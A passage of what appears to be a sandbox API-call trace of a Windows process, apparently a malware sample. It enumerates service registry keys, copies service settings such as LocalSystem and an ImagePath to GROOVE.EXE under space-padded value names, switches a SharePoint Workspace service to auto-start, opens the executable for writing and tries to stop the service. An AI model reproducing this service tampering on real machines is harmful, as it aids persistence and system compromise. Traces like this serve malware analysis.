hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0255.044] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0255.045] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0255.045] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0255.045] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0255.045] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0255.045] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0255.045] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0255.045] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.045] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.045] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.046] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.046] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.046] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.046] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.046] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.046] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.046] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.046] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.046] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.046] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.046] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.046] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.047] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0255.047] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0255.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0255.047] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0255.047] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0255.047] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.047] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.047] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.047] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.047] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.047] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.047] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.048] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.048] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.048] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.048] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.048] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.048] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.048] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.048] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.048] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0255.048] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0255.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0255.048] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0255.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0255.049] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.049] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.049] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.049] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.049] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.049] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.049] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.049] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.049] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.049] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.049] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.049] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.050] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.050] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.050] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.050] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0255.050] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0255.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0255.050] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0255.050] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.050] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.050] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.050] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.051] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.051] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.051] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.051] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.051] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.051] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.051] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.051] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.051] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.051] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.051] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0255.051] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0255.052] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE\"", cbData=0x38 | out: lpData="\"C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE\"") returned 0x0 [0255.052] CommandLineToArgvW (in: lpCmdLine="\"C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE\"", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7df7b8*="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE" [0255.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0255.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d588 [0255.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.052] LocalFree (hMem=0x7df7b8) returned 0x0 [0255.052] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE\"", cbData=0x38 | out: lpData="\"C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE\"") returned 0x0 [0255.052] OpenServiceW (hSCManager=0x803918, lpServiceName="Microsoft SharePoint Workspace Audit Service", dwDesiredAccess=0x2) returned 0x8038a0 [0255.052] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0255.053] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0255.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4c8) returned 1 [0255.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0255.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0255.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d388) returned 1 [0255.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0255.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0255.054] RegCloseKey (hKey=0x148) returned 0x0 [0255.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0255.054] RegCloseKey (hKey=0x150) returned 0x0 [0255.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0255.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0255.054] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\groove.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6fd7600, ftCreationTime.dwHighDateTime=0x1cacbb3, ftLastAccessTime.dwLowDateTime=0x52fce0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1cb74000, ftLastWriteTime.dwHighDateTime=0x1cacbae, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0255.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\groove.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0255.054] GetLastError () returned 0x20 [0255.054] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0255.055] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0255.055] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0255.055] OpenServiceW (hSCManager=0x803918, lpServiceName="Microsoft SharePoint Workspace Audit Service", dwDesiredAccess=0x20) returned 0x803990 [0255.056] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0255.056] GetLastError () returned 0x425 [0255.056] CloseServiceHandle (hSCObject=0x803990) returned 1 [0255.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0255.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0255.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0255.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0255.057] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0255.057] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0255.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0255.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 